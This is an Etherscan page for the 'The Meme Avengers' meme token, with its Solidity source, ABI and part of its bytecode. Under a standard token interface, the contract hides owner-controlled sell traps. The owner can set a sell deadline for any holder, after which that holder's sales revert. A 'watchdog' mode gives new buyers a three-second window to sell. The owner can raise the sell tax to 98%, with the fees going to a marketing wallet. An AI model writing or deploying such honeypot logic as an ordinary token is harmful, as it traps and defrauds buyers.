ETH Price: $3,139.83 (+1.71%)

Token

The Meme Avengers (TMA)
 

Overview

Max Total Supply

1,000,000,000,000,000 TMA

Holders

179

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TMA

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-01
*/

/*
Telegram: https://t.me/TheMemeAvengers_Portal
Twitter: https://x.com/thememeavengers
Website: https://www.memesavengers.vip/

Welcome to The Meme Avengers $TMA ~ The escalating tensions between Pepe and Shib have reached their peak, with no signs of reconciliation. 

Both icons have decided to settle their differences in the only way they know: by assembling their armies and preparing for the ultimate showdown.
*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract TMA is Context, IERC20, Ownable {

    using Address for address payable;

    IRouter public router;
    address public pair;
    
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => bool) public _isExcludedFromMaxBalance;

    mapping (address => uint256) public _dogSellTime;
    bool public watchdogMode = false;
    uint256 public _caughtDogs;

    uint8 private constant _decimals = 9; 
    uint256 private _tTotal = 1_000_000_000_000_000 * (10**_decimals);
    uint256 public swapThreshold = 10_000_000_000_000 * (10**_decimals); 
    uint256 public maxTxAmount = 10_000_000_000_000 * (10**_decimals);
    uint256 public maxWallet =  10_000_000_000_000 * (10**_decimals);

    string private constant _name = "The Meme Avengers"; 
    string private constant _symbol = "TMA";

    uint8 public buyTax = 25; 
    uint8 public sellTax = 35;

    address public marketingWallet = 0x0e96f80b61177a539B8F9363d582BE2AC3052865; 
    
    bool private tradingOpen = false;
    bool private swapping;
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }   

    event SwapAndLiquify();
    event TaxesChanged();

    constructor () {
        _tOwned[_msgSender()] = _tTotal;
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketingWallet] = true;

        _isExcludedFromMaxBalance[owner()] = true;
        _isExcludedFromMaxBalance[address(this)] = true;
        _isExcludedFromMaxBalance[marketingWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    receive() external payable {}

    function enableTrading() external onlyOwner{
        require(!tradingOpen,"Can only be opened once");
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        _isExcludedFromMaxBalance[pair] = true;
        _approve(address(this), address(router), ~uint256(0));
        router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)) - (84_138_000 * 10**_decimals),0,0,owner(),block.timestamp);
        IERC20(pair).approve(address(router), ~uint256(0));
        tradingOpen = true;
    }

    function setTMAContractTaxes(uint8 buyTax_, uint8 sellTax_) external onlyOwner{
        require(buyTax_ <= 35 && sellTax_<= 98, "Taxes can't exceed the limit.");
        buyTax = buyTax_; sellTax = sellTax_;
        emit TaxesChanged();
    }

    function setContractLimits(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{
        uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals);
        require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings");
        maxTxAmount = maxTX_EXACT * (10**_decimals);
        maxWallet = maxWallet_EXACT * (10**_decimals);
    }

    function setTMASwapSettings(uint swapThreshold_EXACT) public onlyOwner{
        swapThreshold = swapThreshold_EXACT * (10**_decimals);
    }

    function setWatchdogOff() external onlyOwner{
        require(watchdogMode,"Already turned off.");
        watchdogMode = false;
    }

    function setTMASellTimeForAddress(address holder, uint dTime) external onlyOwner{
        _dogSellTime[holder] = block.timestamp + dTime;
    }

    function manualSwap() external lockTheSwap{
        require(msg.sender == marketingWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0){
            uint256 ethSwapped = swapTokensForETH(tokenBalance);
            if(ethSwapped > 0)
                payable(marketingWallet).transfer(ethSwapped);
        }
        if (address(this).balance > 0)
            payable(marketingWallet).sendValue(address(this).balance);
    }

    function _preTransferCheck(address from,address to,uint256 amount) internal{
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");

        if(!_isExcludedFromMaxBalance[to])
            require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWallet.");
        
        if (balanceOf(address(this)) >= swapThreshold && !swapping && tradingOpen && from != pair && from != owner() && to != owner())
            swapAndLiquify();
    }

    function _watchDogCheck(address from,address to, bool isBuy) internal{
        if (isBuy){
            if(watchdogMode){
                _caughtDogs++;
                _dogSellTime[to] = block.timestamp + 3;
            }
        }else{
            if (_dogSellTime[from] != 0)
                require(block.timestamp < _dogSellTime[from]); 
        }
    }

    function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
        uint256 taxedTokens = amount * buyTax / 100;
        if(isSell)
            taxedTokens = amount * sellTax / 100;

        if (taxedTokens > 0){
            _tOwned[address(this)] += taxedTokens;
            emit Transfer (from, address(this), taxedTokens);
        }
        return (amount - taxedTokens);
    }

    function _transfer(address from,address to,uint256 amount) private {
        _preTransferCheck(from, to, amount);
        _tOwned[from] -= amount;
        uint256 transferAmount = amount;
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            transferAmount = _getTaxValues(amount, from, to == pair);
            _watchDogCheck(from,to,from == pair);
        }
        _tOwned[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }

    function swapAndLiquify() private lockTheSwap{

        uint256 tokensForMarketing = swapThreshold * 100 / 100;
        uint256 tokensForLiquidity = swapThreshold * 0 / 100;
        
        if(tokensForMarketing > 0){
            uint256 ethSwapped = swapTokensForETH(tokensForMarketing);
            if(ethSwapped > 0)
                payable(marketingWallet).transfer(ethSwapped);
        }

        if(tokensForLiquidity > 0){
            uint half = tokensForLiquidity / 2;
            uint otherHalf = tokensForLiquidity - half;
            uint balAutoLP = swapTokensForETH(half);
            if (balAutoLP > 0)
                addLiquidity(otherHalf, balAutoLP);
        }

        if (address(this).balance > 0)
            payable(marketingWallet).sendValue(address(this).balance);
        
        emit SwapAndLiquify();

    }

    function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
        uint256 initialBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        return (address(this).balance - initialBalance);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(router), tokenAmount);

        (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            marketingWallet,
            block.timestamp
        );
        
        if (ethAmount - ethFromLiquidity > 0)
            payable(marketingWallet).sendValue (ethAmount - ethFromLiquidity);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dogSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTX_EXACT","type":"uint256"},{"internalType":"uint256","name":"maxWallet_EXACT","type":"uint256"}],"name":"setContractLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyTax_","type":"uint8"},{"internalType":"uint8","name":"sellTax_","type":"uint8"}],"name":"setTMAContractTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"setTMASellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapThreshold_EXACT","type":"uint256"}],"name":"setTMASwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setWatchdogOff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"watchdogMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600860006101000a81548160ff0219169083151502179055506009600a6200002f919062000763565b66038d7ea4c68000620000439190620007b4565b600a556009600a62000056919062000763565b6509184e72a000620000699190620007b4565b600b556009600a6200007c919062000763565b6509184e72a0006200008f9190620007b4565b600c556009600a620000a2919062000763565b6509184e72a000620000b59190620007b4565b600d556019600e60006101000a81548160ff021916908360ff1602179055506023600e60016101000a81548160ff021916908360ff160217905550730e96f80b61177a539b8f9363d582be2ac3052865600e60026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60166101000a81548160ff0219169083151502179055503480156200016d57600080fd5b506200018e62000182620004d460201b60201c565b620004dc60201b60201c565b600a5460036000620001a5620004d460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160056000620001f9620005a060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600062000332620005a060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000465620004d460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620004c6919062000810565b60405180910390a36200082d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000657578086048111156200062f576200062e620005c9565b5b60018516156200063f5780820291505b80810290506200064f85620005f8565b94506200060f565b94509492505050565b60008262000672576001905062000745565b8162000682576000905062000745565b81600181146200069b5760028114620006a657620006dc565b600191505062000745565b60ff841115620006bb57620006ba620005c9565b5b8360020a915084821115620006d557620006d4620005c9565b5b5062000745565b5060208310610133831016604e8410600b8410161715620007165782820a90508381111562000710576200070f620005c9565b5b62000745565b62000725848484600162000605565b925090508184048111156200073f576200073e620005c9565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000770826200074c565b91506200077d8362000756565b9250620007ac7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000660565b905092915050565b6000620007c1826200074c565b9150620007ce836200074c565b9250828202620007de816200074c565b91508282048414831517620007f857620007f7620005c9565b5b5092915050565b6200080a816200074c565b82525050565b6000602082019050620008276000830184620007ff565b92915050565b613cab806200083d6000396000f3fe6080604052600436106101e75760003560e01c8063768dc71011610102578063cc1776d311610095578063ef07a18211610064578063ef07a182146106df578063f2fde38b1461070a578063f887ea4014610733578063f8b45b051461075e576101ee565b8063cc1776d31461060f578063dd62ed3e1461063a578063e0a877c814610677578063ee9a5d82146106a2576101ee565b806395d89b41116100d157806395d89b4114610553578063a8aa1b311461057e578063a9059cbb146105a9578063b45ad8ec146105e6576101ee565b8063768dc710146104a95780638a8c523c146104e65780638c0b5e22146104fd5780638da5cb5b14610528576101ee565b80634f7041a51161017a5780636abbaa4d116101495780636abbaa4d1461040157806370a082311461042a578063715018a61461046757806375f0a8741461047e576101ee565b80634f7041a51461037f57806350bf18a6146103aa57806351bc3c85146103c15780636a2b3ade146103d8576101ee565b806323b872dd116101b657806323b872dd146102b157806328c61f41146102ee5780632fbc87231461032b578063313ce56714610354576101ee565b80630445b667146101f357806306fdde031461021e578063095ea7b31461024957806318160ddd14610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610789565b60405161021591906129d9565b60405180910390f35b34801561022a57600080fd5b5061023361078f565b6040516102409190612a84565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612b35565b6107cc565b60405161027d9190612b90565b60405180910390f35b34801561029257600080fd5b5061029b6107ea565b6040516102a891906129d9565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190612bab565b6107f4565b6040516102e59190612b90565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612bfe565b6108ac565b6040516103229190612b90565b60405180910390f35b34801561033757600080fd5b50610352600480360381019061034d9190612c64565b6108cc565b005b34801561036057600080fd5b50610369610a05565b6040516103769190612cb3565b60405180910390f35b34801561038b57600080fd5b50610394610a0e565b6040516103a19190612cb3565b60405180910390f35b3480156103b657600080fd5b506103bf610a21565b005b3480156103cd57600080fd5b506103d6610b09565b005b3480156103e457600080fd5b506103ff60048036038101906103fa9190612cce565b610c89565b005b34801561040d57600080fd5b5061042860048036038101906104239190612b35565b610d27565b005b34801561043657600080fd5b50610451600480360381019061044c9190612bfe565b610df6565b60405161045e91906129d9565b60405180910390f35b34801561047357600080fd5b5061047c610e3f565b005b34801561048a57600080fd5b50610493610ec7565b6040516104a09190612d0a565b60405180910390f35b3480156104b557600080fd5b506104d060048036038101906104cb9190612bfe565b610eed565b6040516104dd9190612b90565b60405180910390f35b3480156104f257600080fd5b506104fb610f0d565b005b34801561050957600080fd5b50610512611442565b60405161051f91906129d9565b60405180910390f35b34801561053457600080fd5b5061053d611448565b60405161054a9190612d0a565b60405180910390f35b34801561055f57600080fd5b50610568611471565b6040516105759190612a84565b60405180910390f35b34801561058a57600080fd5b506105936114ae565b6040516105a09190612d0a565b60405180910390f35b3480156105b557600080fd5b506105d060048036038101906105cb9190612b35565b6114d4565b6040516105dd9190612b90565b60405180910390f35b3480156105f257600080fd5b5061060d60048036038101906106089190612d25565b6114f2565b005b34801561061b57600080fd5b50610624611638565b6040516106319190612cb3565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190612d65565b61164b565b60405161066e91906129d9565b60405180910390f35b34801561068357600080fd5b5061068c6116d2565b6040516106999190612b90565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c49190612bfe565b6116e5565b6040516106d691906129d9565b60405180910390f35b3480156106eb57600080fd5b506106f46116fd565b60405161070191906129d9565b60405180910390f35b34801561071657600080fd5b50610731600480360381019061072c9190612bfe565b611703565b005b34801561073f57600080fd5b506107486117fa565b6040516107559190612e04565b60405180910390f35b34801561076a57600080fd5b50610773611820565b60405161078091906129d9565b60405180910390f35b600b5481565b60606040518060400160405280601181526020017f546865204d656d65204176656e67657273000000000000000000000000000000815250905090565b60006107e06107d9611826565b848461182e565b6001905092915050565b6000600a54905090565b60006108018484846119f7565b6108a18461080d611826565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610857611826565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461089c9190612e4e565b61182e565b600190509392505050565b60066020528060005260406000206000915054906101000a900460ff1681565b6108d4611826565b73ffffffffffffffffffffffffffffffffffffffff166108f2611448565b73ffffffffffffffffffffffffffffffffffffffff1614610948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093f90612ece565b60405180910390fd5b60238260ff1611158015610960575060628160ff1611155b61099f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099690612f3a565b60405180910390fd5b81600e60006101000a81548160ff021916908360ff16021790555080600e60016101000a81548160ff021916908360ff1602179055507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a15050565b60006009905090565b600e60009054906101000a900460ff1681565b610a29611826565b73ffffffffffffffffffffffffffffffffffffffff16610a47611448565b73ffffffffffffffffffffffffffffffffffffffff1614610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490612ece565b60405180910390fd5b600860009054906101000a900460ff16610aec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae390612fa6565b60405180910390fd5b6000600860006101000a81548160ff021916908315150217905550565b6001600e60176101000a81548160ff021916908315150217905550600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b7e57600080fd5b6000610b8930610df6565b90506000811115610c16576000610b9f82611c80565b90506000811115610c1457600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c12573d6000803e3d6000fd5b505b505b6000471115610c6b57610c6a47600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611eda90919063ffffffff16565b5b506000600e60176101000a81548160ff021916908315150217905550565b610c91611826565b73ffffffffffffffffffffffffffffffffffffffff16610caf611448565b73ffffffffffffffffffffffffffffffffffffffff1614610d05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfc90612ece565b60405180910390fd5b6009600a610d1391906130f9565b81610d1e9190613144565b600b8190555050565b610d2f611826565b73ffffffffffffffffffffffffffffffffffffffff16610d4d611448565b73ffffffffffffffffffffffffffffffffffffffff1614610da3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9a90612ece565b60405180910390fd5b8042610daf9190613186565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e47611826565b73ffffffffffffffffffffffffffffffffffffffff16610e65611448565b73ffffffffffffffffffffffffffffffffffffffff1614610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290612ece565b60405180910390fd5b610ec56000611fce565b565b600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b610f15611826565b73ffffffffffffffffffffffffffffffffffffffff16610f33611448565b73ffffffffffffffffffffffffffffffffffffffff1614610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090612ece565b60405180910390fd5b600e60169054906101000a900460ff1615610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd090613206565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561103f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611063919061323b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ee919061323b565b6040518363ffffffff1660e01b815260040161110b929190613268565b6020604051808303816000875af115801561112a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114e919061323b565b905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061127b30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660001961182e565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306009600a6112c991906130f9565b630503d8106112d89190613144565b6112e130610df6565b6112eb9190612e4e565b6000806112f6611448565b426040518863ffffffff1660e01b8152600401611318969594939291906132cc565b60606040518083038185885af1158015611336573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061135b9190613342565b505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016113df929190613395565b6020604051808303816000875af11580156113fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142291906133ea565b506001600e60166101000a81548160ff0219169083151502179055505050565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f544d410000000000000000000000000000000000000000000000000000000000815250905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006114e86114e1611826565b84846119f7565b6001905092915050565b6114fa611826565b73ffffffffffffffffffffffffffffffffffffffff16611518611448565b73ffffffff